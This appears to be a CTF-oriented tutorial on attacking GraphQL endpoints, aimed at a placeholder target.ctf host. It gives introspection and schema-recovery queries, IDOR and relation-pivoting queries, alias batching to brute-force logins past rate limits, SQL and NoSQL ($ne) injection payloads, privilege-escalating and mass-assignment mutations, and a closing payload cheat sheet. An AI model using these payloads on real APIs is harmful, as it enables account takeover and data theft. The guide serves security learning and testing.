You found /graphql. Here is the whole playbook.
A web CTF gives you a single endpoint at /graphql and a frontend that talks to it. You do not need to guess routes, brute-force parameters, or scrape the site map. GraphQL hands you a typed contract for the entire backend, and in most CTF builds it will tell you everything if you ask the right way. The fastest path to the flag is almost always: confirm the endpoint, run an introspection query to dump the schema, read the schema for a query or mutation that touches secrets, then call it.
Here is the one-shot move. Send the introspection query below to /graphql. If it returns a giant JSON blob of types, you own the schema and the rest is reading comprehension.
# Confirm the endpoint speaks GraphQL and introspection is oncurl -s https://target.ctf/graphql \-H 'Content-Type: application/json' \-d '{"query":"{ __schema { queryType { name } mutationType { name } } }"}'# A live schema responds with something like:# {"data":{"__schema":{"queryType":{"name":"Query"},# "mutationType":{"name":"Mutation"}}}}
REST hides its shape and makes you guess. GraphQL publishes its shape and dares you to read it. In a CTF, that is a gift.
The sections below go in the order you should actually work a target: understand the model, dump the schema, recover the schema when introspection is locked, hunt the hidden fields, then attack the data with IDOR (Insecure Direct Object Reference), batching, injection, and mutation abuse. If you have not done general web recon yet, start with the Web Recon for CTF post and come back once you have located the endpoint.
How is GraphQL different from REST (and why that helps you)?
REST spreads its surface across dozens of URLs: /api/users, /api/users/1, /api/orders, each with its own verbs and parameters. You discover them by crawling, fuzzing, and reading JavaScript. GraphQL collapses all of that into one endpoint, usually /graphql, where the client sends a query describing exactly which fields it wants and the server returns exactly those fields.
Three properties of that design are directly useful to an attacker:
- Single endpoint. One URL handles reads (queries) and writes (mutations). You point every payload at the same place, and a Repeater tab or a single curl line covers the whole API.
- Strongly typed schema. Every object, field, argument, and return type is declared. The server knows its own shape and, by default, will describe it to anyone who asks via introspection.
- The client picks the fields. You decide what comes back. If a
Usertype has apasswordHashorapiTokenfield and the resolver does not block it, you simply add that field to your selection set and read it.
A GraphQL request is just HTTP POST with a JSON body. Two fields matter: query (the operation text) and variables (a JSON object of inputs). The braces in the query text are the selection set: they say which nested fields you want back. Here is the same request with and without variables.
# Inline argumentscurl -s https://target.ctf/graphql \-H 'Content-Type: application/json' \-d '{"query":"{ user(id: 1) { id username email } }"}'# Same thing with variables (cleaner, and how the frontend usually sends it)curl -s https://target.ctf/graphql \-H 'Content-Type: application/json' \-d '{"query":"query U($id: Int!) { user(id: $id) { id username email } }","variables":{"id":1}}'
errors array. Read the body, not the status line. Error messages are also your best friend on a CTF: they leak field names, type names, and "did you mean" suggestions that map the schema for you.How do I dump the entire schema with introspection?
Introspection is a feature, not a bug: GraphQL servers expose meta-fields named __schema and __type that describe the API in the API's own query language. When it is enabled (the default in many frameworks, and common in CTF builds), one query returns every type, field, argument, and description on the server. This is the single highest-value request you will send.
The full introspection query is long. You rarely type it by hand; tools ship it built in. But it helps to know the shape, so here is a compact version that recovers types, fields, and arguments:
query IntrospectionQuery {__schema {queryType { name }mutationType { name }types {namekinddescriptionfields {namedescriptionargs { name type { name kind ofType { name kind } } }type { name kind ofType { name kind } }}}}}
Send it as a normal POST. With curl, the cleanest approach is to put the query in a file so you do not fight shell escaping:
# introspect.json contains: {"query":"query IntrospectionQuery { ... }"}curl -s https://target.ctf/graphql \-H 'Content-Type: application/json' \--data @introspect.json | jq '.data.__schema.types[].name'# Want just one type's fields? Use __type:curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \-d '{"query":"{ __type(name: \"User\") { fields { name } } }"}'
The tools that turn that JSON into something readable:
- graphql-voyager renders the schema as an interactive graph of types and relations. Paste the introspection result and you see the whole data model at a glance, including relationships the frontend never uses.
- InQL is a Burp Suite extension that runs introspection, generates sample queries for every operation, and lets you fire them from Repeater. If you are already in Burp (see the Burp Suite for CTF guide), this is the fastest workflow.
- GraphiQL or any GraphQL IDE, if the target left one mounted at
/graphqlor/graphiql, gives you autocomplete driven by the live schema. Type a brace and it suggests every valid field.
password, token, secret, admin, flag, role, private, and internal. CTF authors name the win condition something obvious, and a field called flag on a Challenge type is not subtle.What if introspection is disabled?
Hardened targets switch introspection off, so __schema returns an error like GraphQL introspection is not allowed. This does not close the door; it just means you recover the schema a different way. The type system is still enforced on every request, and that enforcement leaks information.
Three approaches, in order of how much work they are:
- Suggestions and error messages. Many servers (Apollo among them) ship "did you mean" suggestions on by default even when introspection is off. Send a query for a field that almost exists and the error proposes the real name. Send
{ usr { id } }and you may get backCannot query field "usr". Did you mean "user"?Repeat against guessed field names to rebuild the schema field by field. - clairvoyance. This tool automates exactly that. It hammers the endpoint with malformed queries, harvests the suggestion messages, and reconstructs a usable schema even with introspection disabled. Point it at the endpoint and a wordlist and let it map the types for you.
- Client-side artifacts. The frontend has to know the schema to build its queries. Read the JavaScript bundles for hardcoded query strings, operation names, and field selections. Network tab plus a quick search for
queryandmutationin the JS often recovers the exact operations the app uses, which is usually all you need.
# Probe for suggestion leakage when __schema is blockedcurl -s https://target.ctf/graphql -H 'Content-Type: application/json' \-d '{"query":"{ user { passwrd } }"}' | jq '.errors[].message'# Typical leak: "Cannot query field \"passwrd\" on type \"User\".# Did you mean \"password\"?"
How does IDOR work through GraphQL?
IDOR is the same flaw it is everywhere: an object is fetched by an identifier you control, and the server forgets to check whether you are allowed to see that object. GraphQL makes it cleaner to exploit because the identifier is usually a named argument right there in the query, and the schema told you the type. If user(id: Int!) exists, you change the id.
# You are user 7. Try to read user 1 (often the admin).curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \-H 'Authorization: Bearer <your-token>' \-d '{"query":"{ user(id: 1) { id username email role apiToken } }"}'
When ids are sequential integers, enumeration is trivial. When they are UUIDs or other opaque values, look for a list resolver that returns objects with their ids embedded, or a nested relation that walks from an object you can see to one you should not. GraphQL's nested selection sets make this lateral movement natural: from your own order, traverse to the customer, then to that customer's other orders.
# Pivot through relationships the schema exposes{order(id: 1003) {idcustomer {idorders { id total shippingAddress }}}}
How do I use batching and aliasing to brute force or bypass rate limits?
Rate limiting usually counts HTTP requests. GraphQL lets you pack many operations into one request, so the limiter sees a single hit while the server does dozens of lookups. Two mechanisms make this work: aliasing and array batching.
Aliasing lets you call the same field many times in one query by giving each call a unique label. This turns a brute-force or enumeration into a single POST. It is the classic way to defeat a login or one-time-password rate limit:
# One request, many guesses, via aliases a0..a3mutation {a0: login(user: "admin", password: "0000") { token }a1: login(user: "admin", password: "0001") { token }a2: login(user: "admin", password: "0002") { token }a3: login(user: "admin", password: "0003") { token }}# Generate the alias list in a script, paste a few thousand at once.
Array batching sends a JSON array of independent operations in a single HTTP body. If the server supports it (many do by default), each array element is a full query executed server-side:
curl -s https://target.ctf/graphql -H 'Content-Type: application/json' \-d '[{"query":"{ user(id: 1) { email apiToken } }"},{"query":"{ user(id: 2) { email apiToken } }"},{"query":"{ user(id: 3) { email apiToken } }"}]'# Response is an array of results, one per query, in one round trip.
u1: user(id: 1) through u500: user(id: 500) in a single query and dump 500 records at once. Generate the query body with a quick loop (see the Web Recon scripting tips) rather than typing aliases by hand.Can I inject SQL or NoSQL inside GraphQL arguments?
Yes, and GraphQL does nothing to stop it. The GraphQL layer validates that an argument matches its declared type (a String is a string), but it does not sanitize the contents. Whatever you put in a string argument is passed straight to the resolver, and if that resolver builds a SQL or NoSQL query by concatenation, your payload rides along. GraphQL is a passthrough, not a filter.
For classic SQL injection, treat a string argument exactly like a URL parameter. Probe with a quote, watch for a 200 with an errors entry that leaks a database message, then escalate to a boolean or union payload:
# Break out of a string argument and watch the errors array{ product(category: "books'") { id name } }# Boolean-based probe inside the argument{ product(category: "books' OR '1'='1") { id name price } }# If the field accepts an order/sort string, that is a frequent sink:{ products(orderBy: "name; SELECT ...") { id } }
NoSQL backends (MongoDB is common) are vulnerable when a resolver forwards a structured input object into a query. If the schema declares an input type or a JSON-ish argument, you can sometimes smuggle operators like $ne or $regex through it. Authentication checks that compare a password are the prime target:
# If a login mutation takes a filter-like input object,# an operator injection can match any record:mutation($f: UserFilter!) { login(filter: $f) { token } }# variables:{ "f": { "username": "admin", "password": { "$ne": null } } }# $ne: null matches the admin record regardless of the real password.
picoCTF has no dedicated GraphQL challenge, but the operator-smuggling half of this section is the whole of No Sql Injection, where a login endpoint deserializes the request body into a Mongo query and a $ne operator walks straight past the password check. The GraphQL wrapper changes nothing about that bug.
How do mutations lead to auth bypass?
Mutations are the write half of GraphQL, and like queries they become callable the moment a resolver exists. The dangerous pattern is a mutation that changes authorization state, such as a role, a permission flag, an account's owner, exposed without a check that the caller is allowed to make that change. If the schema has a mutation that sets your role, you do not need to escalate through a bug; you just call it.
# A mutation that should be admin-only, called as a normal usermutation {updateUser(id: 7, role: "ADMIN") {idusernamerole}}# If it returns role: "ADMIN", you just promoted yourself.
Mass-assignment is the subtler cousin. A registration or profile-update mutation that accepts a broad input object may let you set fields the form never showed, such as isAdmin or role, because the resolver spreads the whole input into the database record. Read the input type from the schema and try setting every privileged-looking field:
mutation($u: RegisterInput!) { register(input: $u) { id role } }# variables: include fields the signup form never offered{ "u": { "username": "player", "password": "pw","role": "ADMIN", "isAdmin": true } }
Password-reset and token-issuing mutations deserve special attention. A resetPassword(email: ...) that returns the reset token in its response, or a createSession that accepts a user id without proving identity, is a direct account takeover. Combine this with the IDOR enumeration from earlier: find the admin's id, then aim an authorization-changing mutation at it.
Quick reference
Working a /graphql endpoint, in order
- Confirm it speaks GraphQL: POST
{ __typename }and read the JSON body. - Run introspection (
__schema/__type). Render it with graphql-voyager or InQL. - If introspection is off, harvest "did you mean" suggestions, run clairvoyance, and read the frontend JS for hardcoded operations.
- Grep the schema for
password,token,flag,admin,role,internal. - List every
QueryandMutationfield. Flag the ones the UI never calls. - Change every id argument (IDOR). Pivot through nested relations to objects you should not see.
- Use aliasing and array batching to enumerate and to beat rate limits in one request.
- Inject into string and input arguments (SQLi, NoSQL operator injection). GraphQL does not sanitize.
- Call authorization-changing mutations directly. Try mass-assignment of
role/isAdminon register and update.
Payload cheat sheet
# Schema in one line{ __schema { types { name fields { name } } } }# Single type{ __type(name: "User") { fields { name type { name } } } }# IDOR{ user(id: 1) { id email role apiToken } }# Batch via aliases{ a: user(id:1){email} b: user(id:2){email} }# NoSQL operator injection in variables{"password": {"$ne": null}}# Privilege mutationmutation { updateUser(id: 7, role: "ADMIN") { role } }
For the primary specification and the canonical write-up of these classes, the GraphQL documentation explains the type system and introspection, and the PortSwigger Web Security Academy GraphQL topic plus the OWASP Web Security Testing Guide cover the attack surface in depth.
picoCTF has no dedicated GraphQL challenge at the time of writing, but the IDOR and mass-assignment pivots above are the same access-control bugs its web challenges do test, so practice them through the authentication bypass and IDOR guide.
GraphQL is not a harder target than REST; it is an easier one that documents itself, so treat the schema as the answer key and the flag is just the field nobody locked.
Sources and further reading
GraphQL is unusual in that the API is required to be able to describe itself. The specification is therefore the attack surface documentation.
- The introspection section of the GraphQL specification defines __schema and __type. A server with introspection enabled hands you the complete type graph, every field, and every mutation, which is why this is always the first request to send.
- The full GraphQL specification also explains aliases and fragments, the features that turn one HTTP request into hundreds of operations and defeat per-request rate limiting.
- The OWASP API Security Top 10 and CWE-200 for classification, and Apollo Server documentation for the production setting most challenge servers leave enabled.
